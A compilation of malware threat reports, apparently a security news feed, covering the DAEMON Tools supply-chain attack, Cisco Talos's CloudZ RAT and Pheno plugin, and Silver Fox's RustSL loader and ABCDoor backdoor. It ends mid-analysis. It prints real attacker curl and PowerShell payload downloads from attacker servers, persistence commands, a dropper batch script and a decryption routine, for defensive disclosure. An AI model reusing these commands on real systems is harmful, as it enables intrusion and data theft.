The post Deceptive “DeepSeek-Claw” Skill Hijacks OpenClaw Agents to Steal Credentials appeared first on Daily CyberSecurity.

The post New “Pheno” Malware Hijacks Microsoft Phone Link to Steal SMS and OTPs appeared first on Daily CyberSecurity.

The post New Quasar Linux (QLNX) RAT Hijacks Cloud Keys and NPM Tokens appeared first on Daily CyberSecurity.

The post Trojanized Tools: DAEMON Tools Supply Chain Attack Compromises Global Systems appeared first on Daily CyberSecurity.

Nossos especialistas descobriram um ataque à cadeia de suprimentos em grande escala via DAEMON Tools – software para emulação de unidades ópticas. Os invasores conseguiram injetar código malicioso nos instaladores do software, e todos os arquivos executáveis trojanizados estão assinados com uma assinatura digital válida da AVB Disc Soft – a desenvolvedora do DAEMON Tools. A versão maliciosa do programa está em circulação desde 8 de abril de 2026. No momento da redação deste artigo, o ataque ainda está em andamento. Os pesquisadores da Kaspersky acreditam que se trata de um ataque direcionado.

Quais são os riscos de instalar a versão maliciosa do DAEMON Tools?

Depois que o software infectado com trojan é instalado no computador da vítima, um arquivo malicioso é executado toda vez que o sistema é inicializado – enviando uma solicitação a um servidor de comando e controle. Em resposta, o servidor pode enviar um comando para baixar e executar cargas maliciosas adicionais.

Primeiro, os invasores implantam um coletor de informações que reúne o endereço MAC, o nome do host, o nome de domínio DNS, listas de processos em execução e de softwares instalados, além das configurações de idioma. O malware então envia essas informações para o servidor de comando e controle.

Em alguns casos, em resposta às informações coletadas, o servidor de comando envia um backdoor minimalista para a máquina da vítima. Ele é capaz de baixar cargas maliciosas adicionais, executar comandos de shell e rodar módulos de shellcode na memória.

O backdoor pode ser usado para implantar um implantado mais sofisticado chamado QUIC RAT. Ele suporta vários protocolos de comunicação com o servidor de comando e controle e é capaz de injetar cargas maliciosas nos processos notepad.exe e conhost.exe.

Informações técnicas mais detalhadas, juntamente com indicadores de comprometimento, podem ser encontradas no artigo dos especialistas no blog Securelist.

Quem está sendo alvo?

Desde o início de abril, foram detectadas várias milhares de tentativas de instalar cargas maliciosas adicionais por meio do software DAEMON Tools infectado. A maioria dos dispositivos infectados pertencia a usuários domésticos, mas aproximadamente 10% das tentativas de instalação foram detectadas em sistemas em execução em organizações. Geograficamente, as vítimas estavam espalhadas por cerca de cem países e territórios diferentes. A maioria das vítimas estava localizada na Rússia, Brasil, Turquia, Espanha, Alemanha, França, Itália e China.

Na maioria das vezes, o ataque se limitava à instalação de um coletor de informações. O backdoor infectou apenas uma dúzia de máquinas em organizações governamentais, científicas e de manufatura, bem como em empresas de varejo na Rússia, Bielorrússia e Tailândia.

O que exatamente foi infectado

O código malicioso foi detectado nas versões do DAEMON Tools que vão da 12.5.0.2421 à 12.5.0.2434. Os invasores comprometeram os arquivos DTHelper.exe, DiscSoftBusServiceLite.exe e DTShellHlp.exe, que estão instalados no diretório principal do DAEMON Tools.

Como se proteger?

Se o software DAEMON Tools for utilizado no seu computador (ou em qualquer outro local da sua organização), nossos especialistas recomendam verificar minuciosamente os computadores nos quais ele está instalado em busca de qualquer atividade incomum a partir de 8 de abril.

Além disso, recomendamos o uso de soluções de segurança confiáveis em todos os computadores domésticos e corporativos usados para acessar a internet. Nossas soluções protegem com sucesso os usuários contra todos os malwares usados no ataque à cadeia de suprimentos via DAEMON Tools.

• Cisco Talos discovered an intrusion, active since at least January 2026, where an unknown attacker implanted a CloudZ remote access tool (RAT) and a previously undocumented plugin called “Pheno.”
• According to the functionalities of the CloudZ RAT and Pheno plugin, this was with the intention of stealing victims’ credentials and potentially one-time passwords (OTPs). 
• CloudZ utilizes the custom Pheno plugin to hijack the established PC-to-phone bridge by abusing the Microsoft Phone Link application, allowing the plugin to continuously scan for active Phone Link processes and potentially intercept sensitive mobile data like SMS and OTPs without deploying malware on the phone. 
• CloudZ evades detection by executing critical malicious functions dynamically in system memory and performing checks to avoid debuggers and sandbox environments. 

Attacker abuses the Windows Phone Link application 

Windows Phone Link (formerly "Your Phone") is a synchronization tool developed by Microsoft and built directly into Windows 10 and 11 that bridges a PC and a smartphone (Android or iPhone). By establishing a secure connection via Wi-Fi and Bluetooth, the application mirrors essential phone activities (such as application notifications and SMS messages) onto the computer screen, reducing the user’s need to physically interact with the mobile device while working on the computer. The Phone Link application writes synchronized phone data such as SMS messages, call logs, and the application notification history to the Windows PC in the application’s SQLite database file. 

Talos observed that during an intrusion, an attacker attempted to abuse the Windows Phone Link application using the CloudZ RAT and its Pheno plugin. The Pheno plugin is designed to monitor an active PC-to-phone bridge established by the Phone Link application on the victim machine. With a confirmed Phone Link activity on the victim's machine, the attacker using the CloudZ RAT can potentially intercept the Phone Link application’s SQLite database file (e.g., “PhoneExperiences-*.db”) on the victim machine, potentially compromising SMS-based OTP messages and other authenticator application notification messages. 

Intrusion summary of CloudZ infection 

Talos discovered from telemetry data that the intrusion had begun with an unknown initial access vector to the victim's environment, which led to the execution of a fake ScreenConnect application update executable. This malicious executable drop and executes an intermediate .NET loader executable, which subsequently deploys the modular CloudZ on the victim’s machine. Upon execution, the RAT decrypts its configuration data, establishes an encrypted socket connection to the command-and-control (C2) server, and enters its command dispatcher mode.   

CloudZ facilitates the C2 commands to exfiltrate credentials from the victim machine browser data, and it downloads and implants a plugin. The plugin performs reconnaissance of the Microsoft Phone Link application on the victim machine and writes the reconnaissance data to an output file in a staging folder. CloudZ reads back the Phone Link application data from the staging folder and sends it to the C2 server. 

Rust-compiled executable used as a dropper 

Talos discovered a Rust-compiled 64-bit executable, disguised with file names such as “systemupdates.exe” or “Windows-interactive-update.exe”, functioning as a loader. The malicious loader was compiled on Jan. 1, 2026, and has the developer string of rustextractor.pdb. 

When the loader is run on the victim machine, it decrypts and drops an embedded .NET loader binary disguised as a text file with the file names “update.txt” or “msupdate.txt” in the folder “C:\ProgramData\Microsoft\windosDoc\”. 

In another instance, Talos observed that the .NET loader was implanted in the victim machine by downloading it from an attacker-controlled staging server using the command shown below:  

curl -L -o C:\ProgramData\Microsoft\WindowsDoc\update[.]txt hxxps[://]calm-wildflower-1349[.]hellohiall[.]workers[.]dev

The dropper executes an embedded PowerShell script to establish persistence on the victim machine through a Windows task which executes the dropped malicious .NET loader. The PowerShell script achieves it by initially performing a runtime check to determine whether the dropped .NET loader is already active on the system. It queries all running processes using the Get-CimInstance Win32_Process command and filters for any instance of regasm.exe with the command line parameters that include the string update.txt. If such an instance is found, the script silently exits without taking any action. 

If the check indicates that the .NET loader is not running, the script proceeds to establish persistence by creating a scheduled task named SystemWindowsApis in the scheduled task folder \Microsoft\Windows\. It configures the task to trigger at system startup /sc onstart, execute under the SYSTEM account /ru SYSTEM with the highest privilege level /rl HIGHEST, and the /f flag ensures it will silently overwrite any existing task with the same name, allowing the malware to update its persistence mechanism. The script configures the task scheduler action to run the .NET loader by utilizing the living-off-the-land binary (LOLBin) regasm.exe, which is the .NET Framework Assembly Registration Utility located at “C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\”. It provides the path of the dropped .NET loader as the argument to regasm.exe with the /nologo flag. After creating the task, the script immediately triggers it with schtasks /run, ensuring it executes immediately and survives future reboots. 

.NET loader implants the CloudZ RAT 

Talos found that the attacker embedded CloudZ, an encrypted .NET-compiled RAT, in the .NET loader executable. 

When the .NET loader is triggered through the Windows task scheduler, it performs the detection evasion checks beginning with a timing-based evasion check, where it calculates the actual elapsed time of a sleep command to detect if it is executed in the analysis environment. It then performs enumeration of running processes in the victim machine against a list of security tools, including network sniffers like Wireshark and Fiddler, as well as system monitors like Procmon and Sysmon. The .NET loader exits the execution if these are detected in the victim environment. 

The loader then conducts hardware and environment checks to identify virtual machine (VM) or sandbox characteristics. It verifies that the system has at least two processor cores and searches for strings like “VIRTUAL” or “SANDBOX” within the system directory path, computer name, user domain, and the current victim username.  

The loader executable is embedded with multiple chunks of the hexadecimal strings in the binary, which are concatenated sequentially during the execution, reassembling a massive hexadecimal data blob. The loader converts the hexadecimal strings to bytes and performs bytewise XOR decryption using the key hexadecimal (0xCA). If the decrypted payload is a .NET assembly, the loader will reflectively run. Otherwise, it writes the decrypted payload to the folder “%TEMP%\{GUID}” and runs it as a process.  

Modular CloudZ RAT delivered as payload 

Talos discovered that a CloudZ, a modular RAT, is delivered as the payload in the current intrusion. CloudZ is a .NET executable compiled on Jan. 13, 2026, and is obfuscated with ConfuserEx obfuscation.  

CloudZ employs layers of defense against the analysis environments and reverse engineering. It queries the _ENABLE_PROFILING environment variable via GetEnvironmentVariable Windows API to detect whether a .NET profiler or debugger is attached to the RAT process on the victim machine. It uses the .NET method “System.Reflection.Emit.DynamicMethod” combined with “ILGenerator” method to create the executable functions dynamically during the RAT execution. 

The operation of CloudZ utilizes its configuration data, which is embedded in the binary, as a resource that it decrypts and loads into memory during execution. The decrypted configuration data includes various C2 commands, PowerShell scripts for data archive extraction, multiple file download methods, paths and names of staging folders, multiple HTTP headers, and the URLs of the staging servers. 

After the decryption of the configuration data, CloudZ decodes the Base64-encoded strings to get the URL of the staging server where the secondary configuration is stored.  

Talos found that the RAT downloads and processes secondary configuration data through the URLs “hxxps[://]round-cherry-4418[.]hellohiall[.]workers[.]dev/?t=1773406370” or "https[://]pastebin[.]com/raw/8pYAgF0Z?t=1771833517" and extracts the C2 server IP address “185[.]196[.]10[.]136” and port number 8089, establishing connections through TCP sockets. 

Pivoting on the Pastebin URL indicator, we found that the attacker used the Pastebin handler name “HELLOHIALL” and hosted the secondary configuration data at several Pastebin URLs.  

The RAT rotates between three hardcoded user-agent strings to blend its HTTP traffic with the legitimate browser requests of the victim machine. Every HTTP request includes anti-caching headers consisting of “Cache-Control: no-cache, no-store, must-revalidate", “Pragma: no-cache", and “Expires: 0”, which prevents intermediate proxies and CDN infrastructure from caching C2 or the staging server details.  

User-agent headers used by the CloudZ are: 

• Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
• Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 

After the RAT establishes the C2 connection, it enters the command dispatcher module that relies on a decrypted configuration data loaded into memory. The configuration data contains Base64-encoded command identifiers which the RAT matches against the commands received from the C2 server to perform the several functionalities. The commands facilitated by CloudZ are shown in the table below: 

Base64-encoded command	Decoded command	Purpose
cG9uZw==	pong	Heartbeat response
UElORyE=	PING!	Heartbeat request
Q0xPU0U=	CLOSE	Terminate RAT process
SU5GTw==	INFO	collects OS edition, architecture, and hardware details from the victim machine
UnVuU2hlbGw=	RunShell	Execute shell command
QnJvd3NlclNlYXJjaA==	BrowserSearch	Browser data exfiltration
R2V0V2lkZ2V0TG9n	GetWidgetLog	Phone Link recon logs and data exfiltration
cGx1Z2lu	plugin	Load plugin
c2F2ZVBsdWdpbg==	savePlugin	Save plugin to disk at the staging directory C:\ProgramData\Microsoft\whealth\
c2VuZFBsdWdpbg==	sendPlugin	Upload Plugin to C2
UmVtb3ZlUGx1Z2lucw==	RemovePlugins	Remove all deployed plugin modules
UmVjb3Zlcnk=	Recovery	Recovery or reconnect routine
RFc=	DW	Download and write file operations
Rk0=	FM	File management operations – deletefile
TE4=	LN	Unknown
TXNn	Msg	Send message to C2
RXJyb3I=	Error	Error reporting back to C2
cmVj	rec	Screen recording

The RAT employs various methods to download and execute the plugins. The plugin download feature of RAT uses a three-method fallback approach. It first checks for the presence of the curl utility. If found, it attempts to download the file from a specified URL to a target path while following redirects. If curl is missing or the command fails, it falls back to PowerShell, where it first tries to download the file using the Invoke-WebRequest command. If that method also fails, it executes a final method that uses the LOLBin“bitsadmin” tool to download and save the plugin payloads to the victim machine.  

Talos observed from the telemetry data that the attacker has downloaded and implanted the Pheno plugin through the curl command from the staging server. 

curl -L -o C:\Windows\TEMP\pheno.exe hxxps[://]orange-cell-1353[.]hellohiall[.]workers[.]dev/pheno.exe

Pheno plugin to perform the Phone Link application recon 

In this intrusion, Talos observed that the attacker used a plugin called Pheno to perform reconnaissance of the Windows Phone Link application in the victim machine.  

Pheno is designed to detect if a user is currently syncing their mobile device to a Windows machine through the Phone Link application. It scans all running processes for specific keywords such as "YourPhone," "PhoneExperienceHost," or "Link to Windows," and if matches are found, it logs their Process IDs and file paths to the files with the filename “phonelink-<COMPUTERNAME>.txt”, created in two staging folders such as : 

•  C:\programdata\Microsoft\feedback\cm 
•  %TEMP%\Microsoft\feedback\cm 

After checking Phone Link processes and writing its results, Pheno executes a secondary check that reads back the contents of previously written files and searches the keyword "proxy" in a case-insensitive manner. The plugin conducts this check because the Microsoft Phone Link application creates a local proxy connection to relay traffic between the PC and the paired mobile device. The presence of "proxy" in the output files, whether generated by a previous execution of the pheno plugin, indicates that the Phone Link session is actively routing traffic through its relay channel.  

When the keyword is detected, the pheno plugin writes "Maybe connected" to its output file in the staging folders, which eventually allows the attacker, with the help of CloudZ RAT, to potentially monitor SMS or OTP requests that appear on the Phone Link application. 

Coverage

The following ClamAV signature detects and blocks this threat: 

• Win.Packed.Msilheracles-10030690-0 
• Win.Trojan.CloudZRAT-10059935-0 
• Win.Trojan.CloudZRAT-10059959-0 

The following Snort Rules (SIDs) detect and block this threat: 

• Snort 2: 66409, 66410, 66408 
• Snort 3: 301492, 66408 

Indicators of compromise (IOCs) 

The IOCs for this threat are available at our GitHub repository here.

The post The Self-Parsing Ghost: Inside Deep#Door’s Stealthy Python Backdoor appeared first on Daily CyberSecurity.

The post Tax Audit Trap: Silver Fox Unleashes “ABCDoor” via Modified Rust Loaders appeared first on Daily CyberSecurity.

The post Minirat’s Stealth Supply Chain Attack Targets macOS Developers appeared first on Daily CyberSecurity.

The post The Great Convergence: When Traditional Malware Becomes a Crypto-Hunting Machine appeared first on Daily CyberSecurity.

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

In the December campaign, the malicious code was embedded directly within the files attached to the email.

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
   

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
   

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key	Description
HKCU:\Console\0	For x86-based modules
HKCU:\Console\1	For x64-based modules
HKCU:\Console\IpDate	Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info	Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value	Module name	Library MD5 hash	Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0	保86.dll	4a5195a38a458cdd2c1b5ab13af3b393	2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0	保86.dll	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32
2375193669e243e830ef5794226352e7	保86.dll_bin	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   

   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

4. Using curl:
   

   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.batAfter copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   

   "C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient

   
   Persistence is established by executing the following command:
   

   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

2. Task scheduler: The malware executes
   

   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

